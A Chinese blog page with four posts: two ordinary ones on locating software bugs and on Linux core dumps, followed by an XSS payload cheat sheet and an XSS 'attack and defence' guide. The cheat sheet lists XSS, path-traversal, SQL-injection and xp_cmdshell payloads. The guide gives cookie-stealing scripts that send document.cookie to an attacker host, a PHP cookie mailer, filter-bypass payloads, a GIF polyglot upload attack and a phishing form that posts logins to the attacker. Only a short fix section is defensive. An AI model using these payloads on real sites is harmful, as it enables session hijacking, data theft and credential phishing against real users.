发布新日志

  • 软件测试定位问题方法

    2015-01-22 10:09:18


      软件测试定位问题方法

       随着it行业的发展,软件测试的普及,再加上测试行业入行门槛要求相对较低,在各大小城市中,软件测试工程师如雨后春笋般地涌现; 在这个竞争激励的年代,想要在测试行业有所突破,需要掌握扎实的理论知识外,还需要掌握不断发展和改进的测试技能,以下为我在测试工作中对软件测试定位问题方法做的一些总结,欢迎大家多批评指正。 
       在软件测试过程中,发现问题,可能不是什么难事,但要精准的定位到问题出在哪里,需要用到一定的技能和经验积累; 
        而研发人员,往往也都希望测试人员对问题能做到精准的描述,以便能快速定位到问题所在模块,进行快速分析和解决;

    一、抓包分析
     1、在使用浏览器测试过程中,如何判断是前端的问题,还是后端的问题,单单从报的错误,或者无响应,或者返回空白页面上,都无法定位到问题出在哪里,这个时候,就需要借助一些工具来定位问题,首先从发起的http请求开始定位;
     2、基于浏览器的http请求,许多浏览器都有自带的插件,可以抓取到http的请求和返回,例如chrome,firefox都有自带的抓包工具,开启之后,都可以看到你手工操作工作中抓取到的http请求和返回报文;如下图为chrome浏览器按F12抓取到进行搜索的请求和返回。

     3、除了自带的插件可以抓包外,还有许多第三方的抓包工具,例如fiddler,以下简单介绍一下fiddler抓取的报文; 
      打开fiddler,按F12开启抓包;
      对点击收取邮件进行操作,进行报文抓取

      
      抓取到的http请求和返回数据如下:

      
      4、这就是一个简单的获取邮件列表时抓取到的http请求和返回数据,其他的请求进行类似的操作即可抓取到,如何判断是http请求的报文有问题,还是响应结果有问题,就需要根据接口设计规范文档中的描述来作为依据,进行判断;

      5、fiddler可以模拟发起请求,通过Composer页签,把获取到的请求分别填写到请求url,请求body,点击Execute即可 (需要保证当前的会话有效)

    二、看日志分析
      排除掉前端的问题之后,需要逐层分析,从后台服务来进行分析定位,当然,定位分析问题的前提条件是,需要对业务流程非常清楚,清楚各模块之间的交互;假如后台服务的平台为linux,则需要对linux的一些常用命令进行掌握,采用tail -f 、 more , grep ,等命令来跟踪日志,最终定位到具体模块的错误信息,或者接口请求、返回结果

    三、查询数据库分析
      在测试过程中,除了通过前端的体现来对用例的执行结果进行判断外,还需要对数据库的结果来进行检查,例如对于一个订单的提交,前端返回成功,如果单凭前端返回成功来判定该用例执行成功的话, 很有可能在后台数据处理出现错误,该用例实际的执行结果是失败的;  这种情况下,就需要对数据库表中的值进行查看验证。

    四、排除法定位
      我们发现问题时,往往直接提交bug,但有些问题是在特定账号或者特定环境下才会出现,而当研发对问题进行修改时,发现问题不能重现而打回, 为了能对问题进行精准定位,则需要用排除法来定位问题的重现条件。


  • Linux下core文件产生的一些注意问题

    2012-11-13 16:55:43

     

    Linux下core文件产生的一些注意问题

    分类: Linux开发 2999人阅读 评论(0) 收藏 举报

                  前面转载了一篇文章关于core文件的产生和调试使用的设置,但在使用有一些需要注意的问题,如 在什么情况 才会正确地产生core文件。

          列出一些常见问题:

    一,如何使用core文件

    1. 使用core文件

    在core文件所在目录下键入:

    gdb -c core

    它会启动GNU的调试器,来调试core文件,并且会显示生成此core文件的程序名,中止此程序的信号等等。

    如果你已经知道是由什么程序生成此core文件的,比如MyServer崩溃了生成core.12345,那么用此指令调试:

    gdb -c core MyServer

    以下怎么办就该去学习gdb的使用了


    2. 一个小方法来测试产生core文件

    直接输入指令:kill -s SIGSEGV $$


    二,程序产生core的原因

    造成程序coredump的原因很多,这里根据以往的经验总结一下:

    1 内存访问越界
      a) 由于使用错误的下标,导致数组访问越界
      b) 搜索字符串时,依靠字符串结束符来判断字符串是否结束,但是字符串没有正常的使用结束符
      c) 使用strcpy, strcat, sprintf, strcmp, strcasecmp等字符串操作函数,将目标字符串读/写爆。应该使用strncpy, strlcpy, strncat, strlcat, snprintf, strncmp, strncasecmp等函数防止读写越界。
     
    2 多线程程序使用了线程不安全的函数。
    应该使用下面这些可重入的函数,尤其注意红色标示出来的函数,它们很容易被用错:
    asctime_r(3c) gethostbyname_r(3n) getservbyname_r(3n) ctermid_r(3s) gethostent_r(3n) getservbyport_r(3n) ctime_r(3c) getlogin_r(3c) getservent_r(3n) fgetgrent_r(3c) getnetbyaddr_r(3n) getspent_r(3c) fgetpwent_r(3c) getnetbyname_r(3n) getspnam_r(3c) fgetspent_r(3c) getnetent_r(3n) gmtime_r(3c) gamma_r(3m) getnetgrent_r(3n) lgamma_r(3m) getauclassent_r(3) getprotobyname_r(3n) localtime_r(3c) getauclassnam_r(3) etprotobynumber_r(3n) nis_sperror_r(3n) getauevent_r(3) getprotoent_r(3n) rand_r(3c) getauevnam_r(3) getpwent_r(3c) readdir_r(3c) getauevnum_r(3) getpwnam_r(3c) strtok_r(3c) getgrent_r(3c) getpwuid_r(3c) tmpnam_r(3s) getgrgid_r(3c) getrpcbyname_r(3n) ttyname_r(3c) getgrnam_r(3c) getrpcbynumber_r(3n) gethostbyaddr_r(3n) getrpcent_r(3n)
     
    3 多线程读写的数据未加锁保护。
    对于会被多个线程同时访问的全局数据,应该注意加锁保护,否则很容易造成core dump
     
    4 非法指针
      a) 使用空指针
      b) 随意使用指针转换。一个指向一段内存的指针,除非确定这段内存原先就分配为某种结构或类型,或者这种结构或类型的数组,否则不要将它转换为这种结构或类型的指针,而应该将这段内存拷贝到一个这种结构或类型中,再访问这个结构或类型。这是因为如果这段内存的开始地址不是按照这种结构或类型对齐的,那么访问它时就很容易因为bus error而core dump.
     
    5 堆栈溢出
    不要使用大的局部变量(因为局部变量都分配在栈上),这样容易造成堆栈溢出,破坏系统的栈和堆结构,导致出现莫名其妙的错误。


    三,注意的问题

     

    在Linux下要保证程序崩溃时生成Coredump要注意这些问题:

     

      一、要保证存放Coredump的目录存在且进程对该目录有写权限。存放Coredump的目录即进程的当前目录,一般就是当初发出命令启动该进程时所在的目录。但如果是通过脚本启动,则脚本可能会修改当前目录,这时进程真正的当前目录就会与当初执行脚本所在目录不同。这时可以查看”/proc/<进程pid>/cwd“符号链接的目标来确定进程真正的当前目录地址。通过系统服务启动的进程也可通过这一方法查看。

     

      二、若程序调用了seteuid()/setegid()改变了进程的有效用户或组,则在默认情况下系统不会为这些进程生成Coredump。很多服务程序都会调用seteuid(),如MySQL,不论你用什么用户运行mysqld_safe启动MySQL,mysqld进行的有效用户始终是msyql用户。如果你当初是以用户A运行了某个程序,但在ps里看到的这个程序的用户却是B的话,那么这些进程就是调用了seteuid了。为了能够让这些进程生成core dump,需要将/proc/sys/fs /suid_dumpable文件的内容改为1(一般默认是0)。

     

      三、要设置足够大的Core文件大小限制了。程序崩溃时生成的Core文件大小即为程序运行时占用的内存大小。但程序崩溃时的行为不可按平常时的行为来估计,比如缓冲区溢出等错误可能导致堆栈被破坏,因此经常会出现某个变量的值被修改成乱七八糟的,然后程序用这个大小去申请内存就可能导致程序比平常时多占用很多内存。因此无论程序正常运行时占用的内存多么少,要保证生成Core文件还是将大小限制设为unlimited为好。

                在shell里使用命令:ulimit -c unlimited,这样进行修改只是对本次会话有效,是临时的,如果想让修改永久生效,则需要修改配置文件,如 .bash_profile/etc/profile/etc/security/limits.conf

        如下:

        [root@otctest ~]# vim  /etc/profile

        结果如图:

         
     

        把红框里的行注释,并新加入一行:

        ulimit -c unlimited

        保存,退出即可。


    四,产生core文件的时机

         当我们的程序崩溃时,内核有可能把该程序当前内存映射到core文件里,方便程序员找到程序出现问题的地方。最常出现的,几乎所有C程序员都出现过的错误就是“段错误”了。也是最难查出问题原因的一个错误。下面我们就针对“段错误”来分析core文件的产生、以及我们如何利用core文件找到出现崩溃的地方。

    何谓core文件

    当一个程序崩溃时,在进程当前工作目录的core文件中复制了该进程的存储图像。core文件仅仅是一个内存映象(同时加上调试信息),主要是用来调试的。

    当程序接收到以下UNIX信号会产生core文件:

    名字

    说明

    ANSI C  POSIX.1

    SVR4  4.3+BSD

    缺省动作

    SIGABRT

    异常终止(abort)

      .       .

      .      .

    终止w/core

    SIGBUS

    硬件故障

              .

      .      .

    终止w/core

    SIGEMT

    硬件故障

     

      .      .

    终止w/core

    SIGFPE

    算术异常

      .       .

      .      .

    终止w/core

    SIGILL

    非法硬件指令

      .       .

      .      .

    终止w/core

    SIGIOT

    硬件故障

     

      .      .

    终止w/core

    SIGQUIT

    终端退出符

              .

      .      .

    终止w/core

    SIGSEGV

    无效存储访问

      .       .

      .      .

    终止w/core

    SIGSYS

    无效系统调用

     

      .      .

    终止w/core

    SIGTRAP

    硬件故障

     

      .      .

    终止w/core

    SIGXCPU

    超过CPU限制(setrlimit)

     

      .      .

    终止w/core

    SIGXFSZ

    超过文件长度限制(setrlimit)

     

      .      .

    终止w/core

    在系统默认动作列,“终止w/core”表示在进程当前工作目录的core文件中复制了该进程的存储图像(该文件名为core,由此可以看出这种功能很久之前就是UNIX功能的一部分)。大多数UNIX调试程序都使用core文件以检查进程在终止时的状态。

    core文件的产生不是POSIX.1所属部分,而是很多UNIX版本的实现特征。UNIX第6版没有检查条件(a)和(b),并且其源代码中包含如下说明:“如果你正在找寻保护信号,那么当设置-用户-ID命令执行时,将可能产生大量的这种信号”。4.3 + BSD产生名为core.prog的文件,其中prog是被执行的程序名的前1 6个字符。它对core文件给予了某种标识,所以是一种改进特征。

    表中“硬件故障”对应于实现定义的硬件故障。这些名字中有很多取自UNIX早先在DP-11上的实现。请查看你所使用的系统的手册,以确切地确定这些信号对应于哪些错误类型。

    下面比较详细地说明这些信号。

    • SIGABRT 调用abort函数时产生此信号。进程异常终止。

    • SIGBUS  指示一个实现定义的硬件故障。

    • SIGEMT  指示一个实现定义的硬件故障。

    EMT这一名字来自PDP-11的emulator trap 指令。

    • SIGFPE  此信号表示一个算术运算异常,例如除以0,浮点溢出等。

    • SIGILL  此信号指示进程已执行一条非法硬件指令。

    4.3BSD由abort函数产生此信号。SIGABRT现在被用于此。

    • SIGIOT  这指示一个实现定义的硬件故障。

    IOT这个名字来自于PDP-11对于输入/输出TRAP(input/output TRAP)指令的缩写。系统V的早期版本,由abort函数产生此信号。SIGABRT现在被用于此。

    • SIGQUIT 当用户在终端上按退出键(一般采用Ctrl-/)时,产生此信号,并送至前台进

    程组中的所有进程。此信号不仅终止前台进程组(如SIGINT所做的那样),同时产生一个core文件。

    • SIGSEGV 指示进程进行了一次无效的存储访问。

    名字SEGV表示“段违例(segmentation violation)”。

    • SIGSYS  指示一个无效的系统调用。由于某种未知原因,进程执行了一条系统调用指令,

    但其指示系统调用类型的参数却是无效的。

    • SIGTRAP 指示一个实现定义的硬件故障。

    此信号名来自于PDP-11的TRAP指令。

    • SIGXCPU SVR4和4.3+BSD支持资源限制的概念。如果进程超过了其软C P U时间限制,则产生此信号。

    • SIGXFSZ 如果进程超过了其软文件长度限制,则SVR4和4.3+BSD产生此信号。

    摘自《UNIX环境高级编程》第10章 信号。

     

    使用core文件调试程序

    看下面的例子:

    /*core_dump_test.c*/
     #include <stdio.h>
    const char *str = "test";
    void core_test(){
        str[1] = 'T';
    }

    int main(){
        core_test();
        return 0;
    }

    编译:
    gcc –g core_dump_test.c -o core_dump_test

    如果需要调试程序的话,使用gcc编译时加上-g选项,这样调试core文件的时候比较容易找到错误的地方。

    执行:
     ./core_dump_test
    段错误

    运行core_dump_test程序出现了“段错误”,但没有产生core文件。这是因为系统默认core文件的大小为0,所以没有创建。可以用ulimit命令查看和修改core文件的大小。
    ulimit -c 0
    ulimit -c 1000
    ulimit -c 1000

    -c 指定修改core文件的大小,1000指定了core文件大小。也可以对core文件的大小不做限制,如:

    ulimit -c unlimited
    ulimit -c unlimited

    如果想让修改永久生效,则需要修改配置文件,如 .bash_profile、/etc/profile或/etc/security/limits.conf。

    再次执行:
    ./core_dump_test
    段错误 (core dumped)
    ls core.*
    core.6133

    可以看到已经创建了一个core.6133的文件.6133是core_dump_test程序运行的进程ID。

    调式core文件
    core文件是个二进制文件,需要用相应的工具来分析程序崩溃时的内存映像。

    file core.6133

    core.6133: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from 'core_dump_test'

    在Linux下可以用GDB来调试core文件。

    gdb core_dump_test core.6133

    GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
    Copyright 2003 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i386-redhat-linux-gnu"...
    Core was generated by `./core_dump_test'.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /lib/tls/libc.so.6...done.
    Loaded symbols for /lib/tls/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0  0x080482fd in core_test () at core_dump_test.c:7
    7           str[1] = 'T';
    (gdb) where
    #0  0x080482fd in core_test () at core_dump_test.c:7
    #1  0x08048317 in main () at core_dump_test.c:12
    #2  0x42015574 in __libc_start_main () from /lib/tls/libc.so.6

    GDB中键入where,就会看到程序崩溃时堆栈信息(当前函数之前的所有已调用函数的列表(包括当前函数),gdb只显示最近几个),我们很容易找到我们的程序在最后崩溃的时候调用了core_dump_test.c 第7行的代码,导致程序崩溃。注意:在编译程序的时候要加入选项-g。您也可以试试其他命令, 如 fram、list等。更详细的用法,请查阅GDB文档。

    core文件创建在什么位置

    在进程当前工作目录的下创建。通常与程序在相同的路径下。但如果程序中调用了chdir函数,则有可能改变了当前工作目录。这时core文件创建在chdir指定的路径下。有好多程序崩溃了,我们却找不到core文件放在什么位置。和chdir函数就有关系。当然程序崩溃了不一定都产生core文件。

    什么时候不产生core文件

    在下列条件下不产生core文件:
    ( a )进程是设置-用户-ID,而且当前用户并非程序文件的所有者;
    ( b )进程是设置-组-ID,而且当前用户并非该程序文件的组所有者;
    ( c )用户没有写当前工作目录的许可权;
    ( d )文件太大。core文件的许可权(假定该文件在此之前并不存在)通常是用户读/写,组读和其他读。

    利用GDB调试core文件,当遇到程序崩溃时我们不再束手无策。


  • XSS测试语法大全

    2010-11-09 21:54:46

    XSS测试语法大全

      <script>alert(document.cookie)</script>  ='><script>alert(document.cookie)</script>  <script>alert(document.cookie)</script>  <script>alert(vulnerable)</script>  %3Cscript%3Ealert(' ...
      <script>alert(document.cookie)</script>
      ='><script>alert(document.cookie)</script>
      <script>alert(document.cookie)</script>
      <script>alert(vulnerable)</script>
      %3Cscript%3Ealert('XSS')%3C/script%3E
      <script>alert('XSS')</script>
      <img src="javascript.:alert('XSS')">
      %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
      %22%3cscript%3ealert(%22xss%22)%3c/script%3e
      %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
      %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
      %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
      %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
      <script>alert('Vulnerable');</script>
      <script>alert('Vulnerable')</script>
      ?sql_debug=1
      a%5c.aspx
      a.jsp/<script>alert('Vulnerable')</script>
      a?<script>alert('Vulnerable')</script>
      "><script>alert('Vulnerable')</script>
      ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
      %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
      %3Cscript%3Ealert(document. domain);%3C/script%3E&
      %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
      ../../../../../../../../etc/passwd
      ..\..\..\..\..\..\..\..\windows\system.ini
      \..\..\..\..\..\..\..\..\windows\system.ini
      '';!--"<XSS>=&{()}
      <IMG SRC="javascript.:alert('XSS');">
      <IMG SRC=javascript.:alert('XSS')>
      <IMG SRC=JaVaScRiPt.:alert('XSS')>
      <IMG SRC=JaVaScRiPt.:alert("XSS")>
      <IMG SRC=javascript.:alert('XSS')>
      <IMG SRC=javascript.:alert('XSS')>
      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
      <IMG SRC="javascript.:alert('XSS');">
      "<IMG SRC=java\0script.:alert(\"XSS\")>";' > out
      <IMG SRC=" javascript.:alert('XSS');">
      <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
      <BODY BACKGROUND="javascript.:alert('XSS')">
      <BODY NLOAD=alert('XSS')>
      <IMG DYNSRC="javascript.:alert('XSS')">
      <IMG LOWSRC="javascript.:alert('XSS')">
      <BGSOUND SRC="javascript.:alert('XSS');">
      <br size="&{alert('XSS')}">
      <LAYER SRC="http://惡意網址/a.js"></layer>
      <LINK REL="stylesheet" HREF="javascript.:alert('XSS');">
      <IMG SRC='vbscript.:msgbox("XSS")'>
      <IMG SRC="mocha:[code]">
      <IMG SRC="livescript.:[code]">
      <META. HTTP-EQUIV="refresh" CONTENT="0;url=javascript.:alert('XSS');">
      <IFRAME. SRC=javascript.:alert('XSS')></IFRAME>
      <FRAMESET><FRAME. SRC=javascript.:alert('XSS')></FRAME></FRAMESET>
      <TABLE BACKGROUND="javascript.:alert('XSS')">
      <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
      <DIV STYLE="behaviour: url('http://惡意網址/exploit.html');">
      <DIV STYLE="width: expression(alert('XSS'));">
      <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
      <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
      <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
      <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
      <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
      <BASE HREF="javascript.:alert('XSS');//">
      getURL("javascript.:alert('XSS')")
      a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
      <XML SRC="javascript.:alert('XSS');">
      "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
      <SCRIPT. SRC="http://惡意網址/xss.jpg"></SCRIPT>
      <IMG SRC="javascript.:alert('XSS')"
      <!--#exec cmd="/bin/echo '<SCRIPT. SRC'"--><!--#exec cmd="/bin/echo '=http://惡意網址/a.js></SCRIPT>'"-->
      <IMG SRC="http://惡意網址/somecommand.php?somevariables=maliciouscode">
      <SCRIPT. a=">" SRC="http://惡意網址/a.js"></SCRIPT>
      <SCRIPT. =">" SRC="http://惡意網址/a.js"></SCRIPT>
      <SCRIPT. a=">" '' SRC="http://惡意網址/a.js"></SCRIPT>
      <SCRIPT. "a='>'" SRC="http://惡意網址/a.js"></SCRIPT>
      <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://惡意網址/a.js"></SCRIPT>
      <A HREF=http://惡意網址/>link</A>
      admin'--
      ' or 0=0 --
      " or 0=0 --
      or 0=0 --
      ' or 0=0 #
      " or 0=0 #
      or 0=0 #
      ' or 'x'='x
      " or "x"="x
      ') or ('x'='x
      ' or 1=1--
      " or 1=1--
      or 1=1--
      ' or a=a--
      " or "a"="a
      ') or ('a'='a
      ") or ("a"="a
      hi" or "a"="a
      hi" or 1=1 --
      hi' or 1=1 --
      hi' or 'a'='a
      hi') or ('a'='a
      hi") or ("a"="aXSS測試語法><script>alert(document.cookie)</script>

  • 跨站脚本攻击XSS攻击与防范指南

    2010-11-09 21:52:39

    跨站脚本攻击XSS攻击与防范指南

    文章目录

    XSS攻击与防范指南... 1

    第一章、XSS的定义... 1

    第二章、XSS漏洞代码... 1

    第三章、利用XSS盗取cookies. 3

    第四章、防范XSS漏洞... 4

    第四章、XSS攻击方法... 4

    第六章、利用Flash进行XSS攻击... 6

    第七章、上传文件进行XSS攻击... 7

    第八章、利用XSS漏洞进行钓鱼... 7



    第一章、XSS的定义
    从Wikipedia搜索跨站脚本,解释到跨区脚本(Cross-zone Scripting或者Cross Site Scripting)是指浏览器利用浏览器一些有漏洞的安全解决方案,这种攻击使没有权限跨站脚本在未经授权的情况下以较高的权限去执行,脚本的执行权限被客户端(Web浏览器)扩大升级了。
    这些XSS跨站脚本漏洞可能是:
    *网页浏览器设计缺陷使得在一定的条件下,一个站点完全信任另外一个高权限的站点(或者连个高低权限区域)并去执行高权限站点的脚本。
    *网页浏览器配置错误,把不安全的网站放在浏览器高信任列表。
    *信任站点(特权区域)存在跨站脚本漏洞
    一般的跨站脚本攻击包含两个步骤。首先是利用跨站脚本漏洞以一个特权模式去执行攻击者构造的脚本,然后利用不安全的ActiveX控件执行恶意的行为。通常在安静模式让计算机浏览攻击者指定的网页悄悄下载安装各种恶意代码,如间谍软件、木马软件、蠕虫等。
    第二章、XSS漏洞代码
    打开记事本,复制下面的代码到几时本中:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta. http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <style. type="text/css">
    <!--
    body,td,th {
         color: #FFFFFF;
    }
    body {
         background-color: #000000;
    }
    -->
    </style><title>Simple XSS vulnerability by Xylitol</title>
    <body>
    <form. action="XSS.php" method="post">
    <p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
    <div align="center">
      <table width="270" border="0">
        <tr>
          <td width="106"><strong>Search:</strong></td>
            <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
          </tr>
      </table>
      <table width="268" border="0">
        <tr>
          <td width="262"><div align="center">
            <input name="submit" type="submit" value="     Search it !     " />
          </div></td>
          </tr>
      </table>
      </div>
    </form>
    </body>
    </html>

    然后,保存这个页面为index.html。并去复制下面的代码到记事本:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta. http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>Search result:</title>
    <style. type="text/css">
    <!--
    body,td,th {
             color: #FFFFFF;
    }
    body {
             background-color: #000000;
    }
    -->
    </style></head>
    <body>
    <span class="alerte">Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
    </body>
    </html>

    保存为Xss.php,关闭记事本。用firefox打开index.html,在搜索框里面输入一串字符串正常搜索,回车。然后重新在搜索框里输入<script>alert('XSS')</script>,单击发送。这时候页面会弹出一个提示窗口。这就是跨站脚本漏洞。

    第三章、利用XSS盗取cookies
    在一个有漏洞的页面插入下面的代码,例如一个留言本里

    <script>
    window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
    </script>
    (www.Hax0r.com = 攻击者的网站)

    用记事本新建文件: cookie.php,把下面的代码拷贝到文件里来。
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta. http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    <title>Error</title>
    <style. type="text/css">
    <!--
    body,td,th {
             color: #FFFFFF;
    }
    body {
             background-color: #000000;
    }
    -->
    </style></head>
    <? mail('email@example.com', 'Cookie stealed ! - thx xyli', $cookies); ?>
    <body>
    <h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
    </body>
    </html>
    这样是仅仅不够的,还要去等待收到电子邮件,阅读读盗取到的cookie。

    第四章、防范XSS漏洞
    如何修复这个漏洞呢?

    我们可以使用htmlentities函数来修复这个漏洞。在替换上面的XSS.php第16行:

    <body>
    <span class="alerte">Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
    </body>
    为:

    <body>
    <span class="alerte">Search result  :</span> <strong><?php
    if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
    </body>
    还可以使用php的内置函数htmlspecialchars(),还有其他函数htmlentities()、strip_tags()等。

    第四章、XSS攻击方法
    利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式……

    图片攻击:<IMG SRC="http://hax0r.com/Haxored.png">

    或者视频flash:<EMBED SRC= http://hax0r.com/Haxored.swf

    还有网站重定向:<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>

    也可以:<meta. http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />

    绕过过滤进一步发现XSS

    事实上绕过htmlspecialchars()的过滤是非常简单的,这里有一些绕过过滤的方法:
    <META. HTTP-EQUIV=\"refresh\" CONTENT=\"0;
    URL=http://;URL=javascript.:alert('XSS');\">

    <META. HTTP-EQUIV=\"refresh\"
    CONTENT=\"0;url=javascript.:alert('XSS');\">

    '">><marquee><h1>XSS</h1></marquee>

    '">><script>alert('XSS')</script>

    '>><marquee><h1>XSS</h1></marquee>

    "><script. alert(String.fromCharCode(88,83,83))</script>

    <iframe<?php echo chr(11)?> nload=alert('XSS')></iframe>

    <div
    style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
    de(88,83,83));'))">

    window.alert("Xyli !");

    "/></a></><img src=1.gif nerror=alert(1)>

    [color=red']mouse over

    <body

    <body>

    click me

    <script. language="JavaScript">alert('XSS')</script>

    <img src="javascript.:alert('XSS')">

    '); alert('XSS

    <font style='color:expression(alert(document.cookie))'>

    <IMG DYNSRC=\"javascript.:alert('XSS')\">

    <IMG LOWSRC=\"javascript.:alert('XSS')\">

    </textarea><script>alert(/xss/)</script>

    </title><script>alert(/xss/)</script>

    <script. src=http://yoursite.com/your_files.js></script>

    "><script>alert(0)</script>

    <IMG SRC=javascript.:alert(String.fromCharCode(88,83,83))>

    <IMG SRC=\"jav&#x0D;ascript.:alert('XSS');\">

    <IMG SRC=\"jav&#x0A;ascript.:alert('XSS');\">

    <IMG SRC=\"jav&#x09;ascript.:alert('XSS');\">

    <marquee><script>alert('XSS')</script></marquee>

    <? echo('<scr)';
    echo('ipt>alert(\"XSS\")</script>'); ?>

    <IMG SRC=\"jav&#x0A;ascript.:alert('XSS');\">

    <IMG SRC=\"jav&#x09;ascript.:alert('XSS');\">

    <marquee><script>alert('XSS')</script></marquee>

    <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>

    <img src=foo.png nerror=alert(/xssed/) />

    <script>alert(String.fromCharCode(88,83,83))</script>

    <scr<script>ipt>alert('XSS');</scr</script>ipt>

    <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
    escape(document.cookie)</script>

    <script. src="http://www.evilsite.org/cookiegrabber.php"></script>

    <script>alert('XSS');</script>

    <script>alert(1);</script>
    这里并不包含了所有的攻击方法,Google是你的好朋友,可以通过它找到更多的方法。

    第六章、利用Flash进行XSS攻击
    Flash是用于复杂的动画,仿真和游戏开发等。非常有趣的是Flash的getURL()动作,它可以使我们的页面重定向到函数指定的页面,改函数的语法如下:

    getURL(url:String, [window: String,[method:String]])
    例如:getURL("http://victime.com/login.php?logout=true","_self");

    该函数的各个参数为:
    url: 重定向的网站url
    window: 设置重定向的窗口打开方式 (_self, _blank…)
    method: 请求页面的方式 GET 或者 POST

    下面运用actionscrip来弹出警告窗口的方法:

    getURL("javascript.:alert('XSS'");

    在2002年的时候,曾经公布这个函数的危险性,例如可以用下面的方式来获取浏览者的cookie:

    getURL("javascript.:alert(document.cookie)")

    在2005年12月的时候,对getURL()进行了改进,改进了在flash文件签名中输入XSS语句从而导致永久性XSS攻击的漏洞。官方采用这种更新是为了防止再次爆发MySpace中传播Samy Xss蠕虫,Samy可以隐藏在flash中盗取cookies。
    但是这样的更新就解决了XSS吗?不,目前还没有完全解决flash的XSS问题,下面的例子来说明,在flash文件中输入:

    GetURL("http://www.victime.com/page.php?var=<script. src='http://www.hax0r.com/Haxored.js'></script>","_self");

    Haxored.js中的代码如下:

    document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;

    当然最为简单的安全解决方案就是不要在网站中使用flash。

    第七章、上传文件进行XSS攻击
    在画图工具里创建一个Haxored.gif图片,然后用记事本打开它,删除所有行并插入下面的内容:

    GIF89a<script>alert("XSS")</script>

    保存并关闭它。

    然后把Haxored.gif上传到一个免费的图片网站上,再查看你的图片,XSS就产生了……不要用Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行该脚本,该攻击适用于Internet explorer浏览器。

    为什么在脚本前面添加GIF89a呢?一般上传图片会这样的,在各个.gif文件中检查是否包含'GIF89a'代码。这个通过检查文件GIF89a代码对上传结果进行确认的漏洞,并没有检查图片里的恶意代码。

    GIF89a<script. src="http://hax0r.com/cookiegrabber.php"></script>

    要了解其他图片格式的文件代码,只需要使用文件编辑器打开.jpg及其它格式的图片就可以知道了,例如一个png格式的文件:‰PNG

    PNG = ‰PNG
    GIF = GIF89a
    JPG = &yuml;&Oslash;&yuml;à JFIF
    BMP = BMF&Ouml;
    为了安全不能仅仅依靠getimagesize()函数来检查图片。

    第八章、利用XSS漏洞进行钓鱼
    你了解钓鱼(phishing)的目的吗?你了解XSS的目的吗?

    在我们的例子中,将有必要找一个存在XSS漏洞的网站,并在一个form表单里注入一个URL重定向的代码:

    <p>Enter your login and password, thank:</p>

    <form. action="http://hax0r.com/mail.php">

    <table><tr><td>Login:</td><td><input type=text length=20 name=login>

    </td></tr><tr><td>Password:</td><td>

    <input type=text length=20 name=password>

    </td></tr></table><input type=submit value=        OK        >

    </form>

